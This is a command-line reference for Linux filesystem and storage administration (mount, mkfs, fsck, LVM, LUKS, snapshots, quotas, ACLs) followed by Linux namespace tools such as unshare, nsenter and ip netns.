# Force unmount (kills processes using filesystem)
umount -f /mnt/data

# Lazy unmount (detach immediately, cleanup when no longer busy)
umount -l /mnt/data

# Unmount all filesystems of a type
umount -a -t nfs

# Find processes using a filesystem
lsof /mnt/data
fuser -m /mnt/data
fuser -km /mnt/data  # Kill processes

# Show all mounts
mount

# Show specific filesystem types
mount -t ext4

# findmnt (modern, structured output)
findmnt                          # Tree view
findmnt -l                       # List view
findmnt /mnt/data                # Specific mount point
findmnt /dev/sdb1                # By device
findmnt -t ext4                  # By type
findmnt -o TARGET,SOURCE,FSTYPE,OPTIONS  # Custom columns

# /proc/mounts (kernel view)
cat /proc/mounts

# /etc/mtab (user-space view, usually symlink to /proc/self/mounts)
cat /etc/mtab

# lsblk (block device tree)
lsblk
lsblk -f                         # Include filesystem info
lsblk -o NAME,SIZE,FSTYPE,MOUNTPOINT,UUID

# df (disk usage)
df -h                            # Human-readable
df -T                            # Include filesystem type
df -i                            # Inode usage

# /proc/self/mountinfo (detailed propagation info)
cat /proc/self/mountinfo

# Generic mkfs command (calls appropriate mkfs.*)
mkfs -t ext4 /dev/sdb1

# Specific mkfs commands
mkfs.ext4 /dev/sdb1
mkfs.xfs /dev/sdb1
mkfs.btrfs /dev/sdb1
mkfs.vfat /dev/sdb1
mkfs.exfat /dev/sdb1

# Warning: This destroys all data on the device!
# Always verify device name before running mkfs

# Common options:
# -L label      Set filesystem label
# -m percent    Reserved blocks percentage (ext4)
# -n            Dry run (ext4)
# -f            Force creation

# Verify device first
lsblk
fdisk -l /dev/sdb

# ext2/ext3/ext4
fsck.ext4 /dev/sdb1               # Check and repair
fsck.ext4 -n /dev/sdb1            # Check only (no modifications)
fsck.ext4 -p /dev/sdb1            # Automatic repair (safe)
fsck.ext4 -y /dev/sdb1            # Answer yes to all questions
fsck.ext4 -f /dev/sdb1            # Force check even if clean

# XFS
xfs_repair /dev/sdb1              # Check and repair
xfs_repair -n /dev/sdb1           # Check only (no modifications)
xfs_repair -L /dev/sdb1           # Zero log (last resort)
xfs_repair -v /dev/sdb1           # Verbose output

# Btrfs
btrfs check /dev/sdb1             # Check filesystem
btrfs check --repair /dev/sdb1    # Dangerous! Backup first
btrfs scrub start /mnt/btrfs      # Online check (while mounted)
btrfs scrub status /mnt/btrfs

# FAT
fsck.vfat /dev/sdb1               # Check and repair
fsck.vfat -a /dev/sdb1            # Automatic repair
fsck.vfat -n /dev/sdb1            # Check only

# Generic fsck (detects type automatically)
fsck /dev/sdb1
fsck -A                            # Check all in /etc/fstab
fsck -AR                           # Check all except root

# ext2/ext3/ext4
# Shrink requires unmount, grow can be online
e2fsck -f /dev/sdb1                # Must check first
resize2fs /dev/sdb1 50G            # Resize to 50GB
resize2fs /dev/sdb1                # Grow to partition size

# XFS (can only grow, not shrink)
xfs_growfs /mnt/data               # Grow to device size (must be mounted)
xfs_growfs -D 13107200 /mnt/data   # Grow to specific size (blocks)

# Btrfs (online resize)
btrfs filesystem resize +10G /mnt/data   # Grow by 10GB
btrfs filesystem resize -5G /mnt/data    # Shrink by 5GB
btrfs filesystem resize max /mnt/data    # Grow to device size
btrfs filesystem resize 1:+10G /mnt/data # Resize specific device in multi-device FS

# Typical workflow:
# 1. Resize partition (fdisk, parted, etc.)
# 2. Resize filesystem

# Example: Growing ext4
parted /dev/sdb resizepart 1 100%
resize2fs /dev/sdb1

# Example: Shrinking ext4
umount /mnt/data
e2fsck -f /dev/sdb1
resize2fs /dev/sdb1 50G
parted /dev/sdb resizepart 1 50GB
mount /dev/sdb1 /mnt/data

# ext2/ext3/ext4 (tune2fs)
tune2fs -l /dev/sdb1                    # List parameters
tune2fs -L newlabel /dev/sdb1           # Set label
tune2fs -m 1 /dev/sdb1                  # Reserved blocks (1%)
tune2fs -c 0 /dev/sdb1                  # Disable mount count check
tune2fs -i 0 /dev/sdb1                  # Disable time-based check
tune2fs -O ^has_journal /dev/sdb1       # Remove journal (ext4->ext2)
tune2fs -O has_journal /dev/sdb1        # Add journal
tune2fs -o journal_data_writeback /dev/sdb1  # Default mount options

# XFS (xfs_admin)
xfs_admin -l /dev/sdb1                  # Show label
xfs_admin -L newlabel /dev/sdb1         # Set label
xfs_admin -u /dev/sdb1                  # Show UUID
xfs_admin -U generate /dev/sdb1         # Generate new UUID

# Btrfs (btrfs property)
btrfs filesystem label /mnt/data newlabel  # Set label
btrfs property get /mnt/data            # Get properties
btrfs property set /mnt/data compression zstd  # Set property

# View label and UUID
blkid /dev/sdb1
lsblk -f /dev/sdb1

# Set label
e2label /dev/sdb1 newlabel              # ext2/3/4
tune2fs -L newlabel /dev/sdb1           # ext2/3/4
xfs_admin -L newlabel /dev/sdb1         # XFS
btrfs filesystem label /mnt/data newlabel  # Btrfs
fatlabel /dev/sdb1 newlabel             # FAT
exfatlabel /dev/sdb1 newlabel           # exFAT

# Set UUID
tune2fs -U random /dev/sdb1             # ext2/3/4 (generate)
tune2fs -U 12345678-1234-1234-1234-123456789abc /dev/sdb1  # ext2/3/4 (specific)
xfs_admin -U generate /dev/sdb1         # XFS (generate)
xfs_admin -U 12345678-1234-1234-1234-123456789abc /dev/sdb1  # XFS (specific)
btrfstune -U 12345678-1234-1234-1234-123456789abc /dev/sdb1  # Btrfs

# Disk space usage
df -h                                   # Human-readable
df -i                                   # Inodes
df -T                                   # Include filesystem type

# Directory usage
du -sh /path/to/dir                     # Summary
du -h --max-depth=1 /path/to/dir        # One level deep
du -ah /path/to/dir | sort -h           # All files, sorted

# Filesystem statistics
stat -f /mnt/data                       # Filesystem stats
stat /mnt/data/file                     # File stats

# ext4 specific
dumpe2fs /dev/sdb1                      # Detailed filesystem info
tune2fs -l /dev/sdb1                    # Superblock info

# XFS specific
xfs_info /mnt/data                      # Filesystem geometry
xfs_db -r -c "freesp -s" /dev/sdb1      # Free space analysis

# Btrfs specific
btrfs filesystem show                   # All Btrfs filesystems
btrfs filesystem usage /mnt/data        # Usage breakdown
btrfs device stats /mnt/data            # Device statistics

# ZFS specific
zpool list                              # Pool summary
zfs list                                # Dataset list
zpool iostat -v 1                       # I/O stats (1 sec interval)

# I/O statistics
iostat -x 1                             # Extended I/O stats (1 sec interval)
iotop                                   # Top-like I/O monitor

# View current scheduler
cat /sys/block/sda/queue/scheduler
# Output: [mq-deadline] none kyber bfq
# Brackets indicate active scheduler

# Available schedulers (modern multi-queue)
# none        - No scheduling (direct dispatch)
# mq-deadline - Deadline-based (good general purpose)
# kyber       - Token-based (low latency)
# bfq         - Budget Fair Queueing (desktop, interactive)

# Change scheduler (temporary)
echo mq-deadline > /sys/block/sda/queue/scheduler
echo bfq > /sys/block/sda/queue/scheduler

# Change scheduler permanently (kernel parameter)
# Add to GRUB_CMDLINE_LINUX in /etc/default/grub:
# elevator=mq-deadline

# Or with udev rule (/etc/udev/rules.d/60-scheduler.rules):
# ACTION=="add|change", KERNEL=="sd[a-z]", ATTR{queue/scheduler}="mq-deadline"
# ACTION=="add|change", KERNEL=="nvme[0-9]n[0-9]", ATTR{queue/scheduler}="none"

# Recommendations:
# - SSDs/NVMe: none or mq-deadline
# - HDDs: mq-deadline or bfq
# - Virtual machines: none (let hypervisor handle)
# - Database servers: mq-deadline
# - Desktops: bfq

# Reduce writes (improves SSD lifespan and performance)
mount -o noatime,nodiratime /dev/sdb1 /mnt/data
# noatime: Don't update access time on reads
# relatime: Update access time only if mtime is newer (default, good compromise)

# Commit interval (seconds between periodic syncs)
mount -o commit=60 /dev/sdb1 /mnt/data
# Default: 5 seconds
# Higher value = less frequent writes, more data loss potential

# Disable barriers (only if hardware has battery-backed cache)
mount -o nobarrier /dev/sdb1 /mnt/data
# Dangerous without protected cache!

# ext4 writeback mode (metadata only journaling)
mount -o data=writeback /dev/sdb1 /mnt/data
# Fastest, least safe

# Async mount (default, but explicit)
mount -o async /dev/sdb1 /mnt/data

# Optimal options for performance (SSD with integrity trade-off)
mount -o noatime,nodiratime,commit=60,data=writeback /dev/sdb1 /mnt/data

# Enable TRIM/discard
mount -o discard /dev/sdb1 /mnt/data
# Immediate TRIM on file deletion (may impact performance)

# Periodic TRIM (preferred for most SSDs)
# Enabled by fstrim.timer systemd unit
systemctl status fstrim.timer
systemctl enable fstrim.timer

# Manual TRIM
fstrim -v /mnt/data
fstrim -av                  # All mounted filesystems

# Check TRIM support
lsblk -D
# DISC-GRAN and DISC-MAX show TRIM granularity and max discard size

# XFS discard options
mount -o discard /dev/sdb1 /mnt/data           # Async discard

# Btrfs discard
mount -o discard=async /dev/sdb1 /mnt/data     # Async discard (recommended)
mount -o discard=sync /dev/sdb1 /mnt/data      # Sync discard

# F2FS (already SSD-optimized)
mount -o background_gc=on /dev/sdb1 /mnt/data

# Check SSD write amplification
# ZFS: zpool iostat -v
# Btrfs: btrfs device stats /mnt/data

# ext4 block size (set at creation)
mkfs.ext4 -b 4096 /dev/sdb1            # 4KB blocks (default, recommended)
mkfs.ext4 -b 1024 /dev/sdb1            # 1KB blocks (many small files)
# Larger blocks waste space with small files
# Smaller blocks add overhead for large files

# ext4 inode size
mkfs.ext4 -I 256 /dev/sdb1             # 256 bytes (default)
mkfs.ext4 -I 512 /dev/sdb1             # 512 bytes (more space for extended attributes)
# Larger inodes support more extended attributes and nanosecond timestamps

# ext4 inode ratio (bytes per inode)
mkfs.ext4 -i 16384 /dev/sdb1           # One inode per 16KB (default)
mkfs.ext4 -i 4096 /dev/sdb1            # One inode per 4KB (many small files)
# More inodes = less data space but supports more files

# XFS block size
mkfs.xfs -b size=4096 /dev/sdb1        # 4KB blocks

# Btrfs node size (metadata)
mkfs.btrfs -n 16384 /dev/sdb1          # 16KB (default)
mkfs.btrfs -n 32768 /dev/sdb1          # 32KB (large filesystems)

# ZFS recordsize (like block size)
zfs set recordsize=128K pool/dataset   # 128KB (large sequential I/O)
zfs set recordsize=8K pool/dataset     # 8KB (databases, random I/O)
zfs set recordsize=1M pool/dataset     # 1MB (video/large files)

# ext4 journal size (set at creation)
mkfs.ext4 -J size=128 /dev/sdb1        # 128MB journal
# Larger journal = longer recovery, more write buffering

# ext4 journal options
mount -o journal_checksum /dev/sdb1 /mnt/data     # Enable checksums (safety)
mount -o journal_async_commit /dev/sdb1 /mnt/data # Async commit (performance)

# ext4 journal on separate device
mkfs.ext4 -J device=/dev/sdc1 /dev/sdb1

# Remove ext4 journal (convert to ext2)
tune2fs -O ^has_journal /dev/sdb1
# Only for read-heavy workloads on reliable systems

# XFS journal (log) size
mkfs.xfs -l size=128m /dev/sdb1        # 128MB log

# XFS log buffer tuning
mount -o logbufs=8,logbsize=256k /dev/sdb1 /mnt/data
# More buffers and larger size = better performance for write-heavy workloads

# View current read-ahead (in 512-byte sectors)
blockdev --getra /dev/sda
# Typical default: 256 (128 KB)

# Set read-ahead (in 512-byte sectors)
blockdev --setra 512 /dev/sda          # 256 KB
blockdev --setra 1024 /dev/sda         # 512 KB
blockdev --setra 4096 /dev/sda         # 2 MB

# Set permanently with udev rule (/etc/udev/rules.d/60-readahead.rules):
# ACTION=="add|change", KERNEL=="sd[a-z]", ATTR{bdi/read_ahead_kb}="512"

# Recommendations:
# - Sequential workloads: Higher (2-4 MB)
# - Random workloads: Lower (128-256 KB)
# - SSDs: Moderate (256-512 KB)
# - HDDs: Higher (512 KB - 2 MB)

# ext4: Enable fast commits (kernel >= 5.10)
mount -o fast_commit /dev/sdb1 /mnt/data

# XFS: Allocation group count (parallelism)
mkfs.xfs -d agcount=16 /dev/sdb1
# More AGs = better parallel I/O

# Btrfs: Space cache v2 (better performance)
mount -o space_cache=v2 /dev/sdb1 /mnt/data

# Btrfs: Compression (can improve performance with fast CPU)
mount -o compress=lzo /dev/sdb1 /mnt/data      # Fast compression
mount -o compress=zstd:3 /dev/sdb1 /mnt/data   # Balanced

# ZFS: ARC size tuning
# Edit /etc/modprobe.d/zfs.conf:
# options zfs zfs_arc_max=8589934592  # 8GB
# options zfs zfs_arc_min=4294967296  # 4GB

# ZFS: Compression
zfs set compression=lz4 pool/dataset   # Fast, good ratio
zfs set compression=zstd pool/dataset  # Better ratio, slower

# F2FS: Background GC
mount -o background_gc=on /dev/sdb1 /mnt/data

# Manual container-like overlay setup
mkdir -p /var/lib/mycontainer/{lower,upper,work,merged}

# Lower layer: base image
mkdir -p /var/lib/mycontainer/lower/{bin,lib,etc}
# ... populate base system ...

# Mount overlay for container
mount -t overlay overlay \
  -o lowerdir=/var/lib/mycontainer/lower,\
     upperdir=/var/lib/mycontainer/upper,\
     workdir=/var/lib/mycontainer/work \
  /var/lib/mycontainer/merged

# Run process in container root
chroot /var/lib/mycontainer/merged /bin/bash

# Cleanup
umount /var/lib/mycontainer/merged

# Create 1GB tmpfs RAM disk
mkdir /mnt/ramdisk
mount -t tmpfs -o size=1G tmpfs /mnt/ramdisk

# Use cases:
# - Temporary build directory
tmpfs /tmp/build tmpfs size=4G,mode=0755 0 0

# - Browser cache
tmpfs /home/user/.cache tmpfs size=2G,uid=1000,gid=1000 0 0

# - Application temporary files
mkdir /mnt/appcache
mount -t tmpfs -o size=512M,mode=0700 tmpfs /mnt/appcache

# Install cryptsetup (LUKS)
apt install cryptsetup

# Create encrypted device
cryptsetup luksFormat /dev/sdb1
# Enter passphrase

# Open encrypted device
cryptsetup luksOpen /dev/sdb1 encrypted_data
# Enter passphrase

# Create filesystem on encrypted device
mkfs.ext4 /dev/mapper/encrypted_data

# Mount
mount /dev/mapper/encrypted_data /mnt/encrypted

# Unmount and close
umount /mnt/encrypted
cryptsetup luksClose encrypted_data

# Add to /etc/crypttab for automatic mounting
# encrypted_data UUID=xxx none luks

# Add to /etc/fstab
# /dev/mapper/encrypted_data /mnt/encrypted ext4 defaults 0 2

# Key file instead of passphrase
dd if=/dev/urandom of=/root/keyfile bs=1024 count=4
chmod 0400 /root/keyfile
cryptsetup luksAddKey /dev/sdb1 /root/keyfile
# In /etc/crypttab:
# encrypted_data UUID=xxx /root/keyfile luks

# Create physical volume
pvcreate /dev/sdb1

# Create volume group
vgcreate myvg /dev/sdb1

# Create logical volume
lvcreate -L 10G -n mylv myvg

# Create filesystem
mkfs.ext4 /dev/myvg/mylv

# Mount
mount /dev/myvg/mylv /mnt/data

# LVM snapshots
lvcreate -L 2G -s -n mylv_snap /dev/myvg/mylv
mount /dev/myvg/mylv_snap /mnt/snapshot

# Extend logical volume
lvextend -L +5G /dev/myvg/mylv
resize2fs /dev/myvg/mylv

# Merge snapshot back (revert changes)
umount /mnt/data
lvconvert --merge /dev/myvg/mylv_snap
mount /dev/myvg/mylv /mnt/data

# Btrfs snapshots for backups
btrfs subvolume snapshot -r /mnt/data /mnt/data/.snapshots/$(date +%Y%m%d)

# Automatic snapshot script
#!/bin/bash
DATE=$(date +%Y%m%d-%H%M%S)
btrfs subvolume snapshot -r /mnt/data /mnt/data/.snapshots/$DATE
# Keep only last 7 days
find /mnt/data/.snapshots -maxdepth 1 -type d -mtime +7 -exec btrfs subvolume delete {} \;

# ZFS snapshots
zfs snapshot pool/data@$(date +%Y%m%d)

# Automatic ZFS snapshots (zfs-auto-snapshot package)
apt install zfs-auto-snapshot
# Creates frequent, hourly, daily, weekly, monthly snapshots

# List ZFS snapshots
zfs list -t snapshot

# Rollback to snapshot
zfs rollback pool/data@20250114

# ext4 quotas
# Enable quotas at mount
mount -o usrquota,grpquota /dev/sdb1 /mnt/data

# Or in fstab
# /dev/sdb1 /mnt/data ext4 defaults,usrquota,grpquota 0 2

# Create quota files
quotacheck -cugm /mnt/data

# Enable quotas
quotaon /mnt/data

# Set quota for user
edquota -u username
# Or with command:
setquota -u username 10G 12G 0 0 /mnt/data
# soft=10GB hard=12GB, 0 inodes (unlimited)

# Set quota for group
setquota -g groupname 50G 55G 0 0 /mnt/data

# View quota
quota -u username
repquota -a

# XFS quotas (project quotas)
mount -o prjquota /dev/sdb1 /mnt/data

# Define project
echo "42:/mnt/data/project1" >> /etc/projects
echo "project1:42" >> /etc/projid

# Initialize project
xfs_quota -x -c 'project -s project1' /mnt/data

# Set project quota
xfs_quota -x -c 'limit -p bsoft=10g bhard=12g project1' /mnt/data

# View project quota
xfs_quota -x -c 'report -ph' /mnt/data

# ZFS quotas
zfs set quota=100G pool/data
zfs set refquota=50G pool/data              # Exclude snapshots
zfs set userquota@username=10G pool/data
zfs set groupquota@groupname=50G pool/data

# Extended attributes (xattr)
# Set attribute
setfattr -n user.comment -v "Important file" file.txt

# Get attribute
getfattr -n user.comment file.txt

# List all attributes
getfattr -d file.txt

# Remove attribute
setfattr -x user.comment file.txt

# ACLs (Access Control Lists)
# Set ACL
setfacl -m u:username:rw file.txt           # User permission
setfacl -m g:groupname:rx file.txt          # Group permission
setfacl -m o::r file.txt                    # Other permission

# View ACL
getfacl file.txt

# Remove specific ACL
setfacl -x u:username file.txt

# Remove all ACLs
setfacl -b file.txt

# Default ACLs (for directories)
setfacl -d -m u:username:rwx /mnt/data/dir  # New files inherit

# Copy ACLs
getfacl source.txt | setfacl --set-file=- dest.txt

# Enable ACLs at mount (usually enabled by default)
mount -o acl /dev/sdb1 /mnt/data

# NFS mount
mount -t nfs server.example.com:/export /mnt/nfs

# NFS with options
mount -t nfs -o vers=4.2,soft,timeo=30,retrans=3 server:/export /mnt/nfs

# CIFS/SMB mount
mount -t cifs //server/share /mnt/smb -o username=user,password=pass

# CIFS with credentials file
# Create /root/.smbcredentials:
# username=user
# password=pass
chmod 0600 /root/.smbcredentials
mount -t cifs //server/share /mnt/smb -o credentials=/root/.smbcredentials,uid=1000,gid=1000

# SSHFS (FUSE)
sshfs user@server:/remote/path /mnt/sshfs
fusermount -u /mnt/sshfs  # Unmount

# Mount disk image
mount -o loop disk.img /mnt/image

# Mount ISO
mount -o loop ubuntu.iso /mnt/iso

# Create disk image
dd if=/dev/zero of=disk.img bs=1M count=1024  # 1GB
mkfs.ext4 disk.img
mount -o loop disk.img /mnt/image

# Automatic loop device
losetup -f                          # Find free loop device
losetup /dev/loop0 disk.img         # Attach
mount /dev/loop0 /mnt/image
umount /mnt/image
losetup -d /dev/loop0               # Detach

# Multiple partitions in image
losetup -P /dev/loop0 disk.img      # Scan partitions
mount /dev/loop0p1 /mnt/part1

# General purpose (root, home):
# - ext4: Stable, well-tested, good performance
# - XFS: Better for large files, cannot shrink

# Large files and databases:
# - XFS: Excellent performance
# - ext4: Also good

# Snapshots and advanced features:
# - Btrfs: Built-in snapshots, compression, RAID
# - ZFS: Most advanced features, requires more RAM

# SSDs and flash:
# - F2FS: Optimized for flash
# - ext4: Also works well with TRIM

# Containers:
# - OverlayFS: Standard for Docker
# - Btrfs: Alternative with native snapshots
# - ZFS: Alternative with native snapshots (requires setup)

# Temporary/cache:
# - tmpfs: RAM-based, very fast

# Removable media:
# - FAT32/exFAT: Windows/Mac compatibility
# - ext4: Linux-only, better features

# Mount options for security
# /tmp and /var/tmp should prevent execution
tmpfs /tmp tmpfs defaults,noexec,nodev,nosuid 0 0

# User-writable locations
/dev/sdb1 /mnt/usb ext4 defaults,noexec,nodev,nosuid 0 0

# Network filesystems
server:/export /mnt/nfs nfs defaults,nosuid,nodev,_netdev 0 0

# Filesystem encryption
# Use LUKS for block device encryption

# Secure deletion
# Some filesystems support secure deletion via extended attributes
chattr +s file.txt  # ext4 (may not be effective on SSDs)

# Immutable files (prevent deletion/modification)
chattr +i file.txt
chattr -i file.txt  # Remove immutable flag

# Modern tools (parted, fdisk >= 2.26) align automatically to 1MiB
# This is optimal for most disks

# Check alignment
parted /dev/sdb align-check opt 1

# Create aligned partition with parted
parted /dev/sdb
(parted) mklabel gpt
(parted) mkpart primary 0% 100%
(parted) align-check opt 1

# Manual alignment (rarely needed)
# Start at 2048 sectors (1MiB) for traditional tools
fdisk /dev/sdb
# First sector: 2048

# Filesystem snapshots
# - Instant, space-efficient
# - Btrfs: btrfs subvolume snapshot
# - ZFS: zfs snapshot
# - LVM: lvcreate -s

# File-level backups
# - rsync: Incremental, efficient
# - tar: Archives, compression
# - restic/borg: Deduplication, encryption

# Block-level backups
# - dd: Raw copy (slow, complete)
# - partclone: Filesystem-aware (faster)

# Remote backups
# - Btrfs send/receive
# - ZFS send/receive
# - rsync over SSH

# Example: Btrfs incremental backup
btrfs subvolume snapshot -r /data /data/.snap/$(date +%Y%m%d)
btrfs send -p /data/.snap/20250113 /data/.snap/20250114 | ssh backup 'btrfs receive /backup/'

# Example: ZFS incremental backup
zfs snapshot pool/data@$(date +%Y%m%d)
zfs send -i pool/data@20250113 pool/data@20250114 | ssh backup 'zfs receive pool/backup'

# Regular checks
# - Disk space: df -h
# - Inode usage: df -i
# - Filesystem errors: dmesg | grep -i error
# - SMART status: smartctl -a /dev/sda

# Automated monitoring
# - Set up alerts for low disk space
# - Monitor filesystem errors in logs
# - Schedule regular scrubs (Btrfs, ZFS)

# Example: Disk space alert
df -h | awk '$5+0 > 90 {print "Warning: " $1 " is " $5 " full"}'

# Btrfs scrub schedule (monthly)
# Systemd timer: /etc/systemd/system/btrfs-scrub.timer
# [Timer]
# OnCalendar=monthly

# ZFS scrub schedule (monthly)
# Cron: 0 0 1 * * zpool scrub pool

# Symptoms:
# - I/O errors in dmesg
# - Mount failures
# - Read-only remount
# - File access errors

# Check dmesg for errors
dmesg | tail -50
dmesg | grep -i error

# Unmount filesystem
umount /mnt/data
# If busy:
lsof /mnt/data
fuser -km /mnt/data
umount /mnt/data

# Check and repair
fsck.ext4 -f /dev/sdb1     # ext4
xfs_repair /dev/sdb1       # XFS
btrfs check /dev/sdb1      # Btrfs (unmounted only)

# If automatic repair fails
fsck.ext4 -y /dev/sdb1     # Answer yes to all

# Last resort (ext4)
fsck.ext4 -b 32768 /dev/sdb1  # Use backup superblock

# Check SMART status for hardware issues
smartctl -a /dev/sda

# Causes:
# - Filesystem errors detected
# - Mount option explicitly ro
# - Write error triggering remount-ro

# Check mount options
mount | grep /mnt/data

# Check filesystem errors
dmesg | grep -i "read-only"

# Remount read-write
mount -o remount,rw /mnt/data

# If remount fails, filesystem check needed
umount /mnt/data
fsck /dev/sdb1
mount /dev/sdb1 /mnt/data

# Error: mount: unknown filesystem type 'xfs'
# Solution: Install filesystem tools
apt install xfsprogs     # XFS
apt install btrfs-progs  # Btrfs
apt install zfsutils-linux  # ZFS

# Error: mount: wrong fs type, bad option, bad superblock
# Solution 1: Specify filesystem type
mount -t ext4 /dev/sdb1 /mnt/data

# Solution 2: Check superblock
dumpe2fs /dev/sdb1 | grep superblock  # ext4
xfs_db -r -c "sb 0" -c "p" /dev/sdb1  # XFS

# Solution 3: Try backup superblock
mount -o sb=32768 /dev/sdb1 /mnt/data

# Error: device or resource busy
# Solution: Find and stop processes
lsof /mnt/data
fuser -m /mnt/data
fuser -km /mnt/data  # Kill processes

# Error: structure needs cleaning
# Solution: Run fsck
fsck /dev/sdb1

# Check disk space
df -h /mnt/data

# Check inode usage (can run out even with space available)
df -i /mnt/data

# If inodes exhausted:
# Find directories with many files
find /mnt/data -xdev -type d -exec sh -c 'echo "$(ls -a {} | wc -l) {}"' \; | sort -n | tail

# Solutions:
# - Delete unnecessary files
# - Recreate filesystem with more inodes
mkfs.ext4 -i 4096 /dev/sdb1  # One inode per 4KB

# Check for deleted but open files (still consuming space)
lsof +L1 /mnt/data
# Kill or restart processes holding deleted files

# Check ACLs
getfacl /mnt/data/file.txt

# Check if filesystem supports ACLs
mount | grep /mnt/data

# Enable ACLs at mount
mount -o remount,acl /mnt/data

# Or in /etc/fstab
/dev/sdb1 /mnt/data ext4 defaults,acl 0 2

# Reset ACLs
setfacl -b /mnt/data/file.txt

# Check I/O statistics
iostat -x 1 5                # 5 samples, 1 second apart

# Look for:
# - High %util: Device saturated
# - High await: I/O latency
# - High r_await/w_await: Read/write latency

# Check for fragmentation (ext4)
e4defrag -c /mnt/data        # Check fragmentation
e4defrag /mnt/data           # Defragment

# XFS fragmentation
xfs_db -r -c frag /dev/sdb1  # Check
xfs_fsr /mnt/data            # Defragment

# Btrfs defragmentation
btrfs filesystem defragment -r /mnt/data

# Check for failing disk
smartctl -a /dev/sda
smartctl -t short /dev/sda   # Run short test
smartctl -t long /dev/sda    # Run long test

# Check for swap thrashing
free -h
vmstat 1

# Check for inode exhaustion
df -i

# Filesystem creation
mkfs.ext4 /dev/sdb1
mkfs.xfs /dev/sdb1
mkfs.btrfs /dev/sdb1
mkfs.vfat /dev/sdb1

# Mounting
mount /dev/sdb1 /mnt/data
mount -t ext4 -o noatime /dev/sdb1 /mnt/data
umount /mnt/data

# Checking
fsck.ext4 /dev/sdb1
xfs_repair /dev/sdb1
btrfs check /dev/sdb1

# Resizing
resize2fs /dev/sdb1
xfs_growfs /mnt/data
btrfs filesystem resize max /mnt/data

# Information
df -h
df -i
lsblk -f
blkid
findmnt

# Tuning
tune2fs -l /dev/sdb1
tune2fs -L mylabel /dev/sdb1
xfs_admin -l /dev/sdb1

# Btrfs specific
btrfs subvolume create /mnt/data/subvol
btrfs subvolume snapshot /mnt/data /mnt/data/snap
btrfs filesystem usage /mnt/data

# ZFS specific
zpool create pool /dev/sdb
zfs create pool/dataset
zfs snapshot pool/dataset@snap
zfs send pool/dataset@snap | zfs receive backup/dataset

# OverlayFS
mount -t overlay overlay -o lowerdir=/lower,upperdir=/upper,workdir=/work /merged

# Create new PID namespace
sudo unshare --pid --fork --mount-proc /bin/bash

# Inside namespace
ps aux  # Only shows processes in this namespace
echo $$  # Shows PID 1 or low PID number

# Create network namespace
sudo ip netns add myns

# List namespaces
ip netns list

# Execute in namespace
sudo ip netns exec myns ip addr
sudo ip netns exec myns bash

# Create veth pair (virtual ethernet)
sudo ip link add veth0 type veth peer name veth1
sudo ip link set veth1 netns myns

# Configure interfaces
sudo ip addr add 10.0.0.1/24 dev veth0
sudo ip link set veth0 up

sudo ip netns exec myns ip addr add 10.0.0.2/24 dev veth1
sudo ip netns exec myns ip link set veth1 up
sudo ip netns exec myns ip link set lo up

# Test connectivity
ping -c 3 10.0.0.2

# Create mount namespace
sudo unshare --mount /bin/bash

# Mount is private to this namespace
mkdir /tmp/mydata
mount -t tmpfs tmpfs /tmp/mydata
df -h  # Shows the mount
exit

# Mount not visible in parent namespace
df -h  # No /tmp/mydata

# View mount propagation
findmnt -o TARGET,PROPAGATION

# Make mount private
mount --make-private /mnt/shared

# Make mount shared
mount --make-shared /mnt/shared

# Make mount slave
mount --make-slave /mnt/shared

# Make mount unbindable
mount --make-unbindable /mnt/shared

# Create UTS namespace
sudo unshare --uts /bin/bash

# Change hostname (only in namespace)
hostname mycontainer
hostname  # Shows "mycontainer"
exit

# Original hostname unchanged
hostname  # Shows original hostname

# View IPC objects
ipcs -a

# Create IPC namespace
sudo unshare --ipc /bin/bash

# Create message queue
ipcmk -Q
ipcs -q  # Only visible in this namespace
exit

# Message queue not visible in parent
ipcs -q

# Create user namespace (no root required)
unshare --user --map-root-user /bin/bash

# Check UID
id  # Shows uid=0 (root) in namespace
cat /proc/self/uid_map  # Shows UID mapping

# Real UID outside is different
exit
id  # Shows actual UID

# Manual UID mapping
unshare --user /bin/bash
echo "0 1000 1" > /proc/self/uid_map
echo "0 1000 1" > /proc/self/gid_map

# Map range of UIDs
# Format: namespace_id host_id count
echo "0 100000 65536" > /proc/self/uid_map
echo "0 100000 65536" > /proc/self/gid_map

# Create cgroup namespace
sudo unshare --cgroup /bin/bash

# View cgroup
cat /proc/self/cgroup

# Root of cgroup tree appears as /
mount -t cgroup2 none /sys/fs/cgroup

# Basic usage
unshare [options] [program [arguments]]

# Common options
unshare --pid --fork /bin/bash           # PID namespace
unshare --net /bin/bash                  # Network namespace
unshare --mount /bin/bash                # Mount namespace
unshare --uts /bin/bash                  # UTS namespace
unshare --ipc /bin/bash                  # IPC namespace
unshare --user /bin/bash                 # User namespace
unshare --cgroup /bin/bash               # Cgroup namespace

# Multiple namespaces
unshare --pid --net --mount --uts --ipc --fork /bin/bash

# All namespaces
unshare --pid --net --mount --uts --ipc --user --cgroup --fork /bin/bash

# User namespace with UID mapping
unshare --user --map-root-user /bin/bash

# Mount proc in PID namespace
unshare --pid --fork --mount-proc /bin/bash

# Propagation flags
unshare --mount --propagation private /bin/bash
unshare --mount --propagation shared /bin/bash

# Basic usage
nsenter [options] [program [arguments]]

# Enter specific namespace
nsenter --target PID --pid --net --mount /bin/bash

# Enter all namespaces
nsenter --target PID --all /bin/bash

# Common options
nsenter -t PID --pid /bin/bash           # PID namespace
nsenter -t PID --net /bin/bash           # Network namespace
nsenter -t PID --mount /bin/bash         # Mount namespace
nsenter -t PID --uts /bin/bash           # UTS namespace
nsenter -t PID --ipc /bin/bash           # IPC namespace
nsenter -t PID --user /bin/bash          # User namespace
nsenter -t PID --cgroup /bin/bash        # Cgroup namespace

# Enter Docker container namespace
docker inspect --format '{{.State.Pid}}' container_name
nsenter -t $(docker inspect --format '{{.State.Pid}}' container_name) -n -m -u -i -p /bin/bash

# Preserve effective UID
nsenter -t PID --all --preserve-credentials /bin/bash

# Create namespace
ip netns add namespace_name

# List namespaces
ip netns list
ip netns

# Delete namespace
ip netns delete namespace_name

# Execute command in namespace
ip netns exec namespace_name command
ip netns exec myns ip addr
ip netns exec myns ping 8.8.8.8

# Identify process namespace
ip netns identify PID

# Monitor namespace events
ip netns monitor

# Attach network namespace to name
ip netns attach NAME PID

# Set namespace for process
ip netns set PID NAME

# List all namespaces
lsns

# List specific type
lsns -t net     # Network namespaces
lsns -t pid     # PID namespaces
lsns -t mnt     # Mount namespaces
lsns -t uts     # UTS namespaces
lsns -t ipc     # IPC namespaces
lsns -t user    # User namespaces
lsns -t cgroup  # Cgroup namespaces

# Show namespace of specific process
lsns -p PID

# Output format
lsns -o NS,TYPE,NPROCS,PID,USER,COMMAND

# Show tree structure
lsns --tree

# JSON output
lsns -J

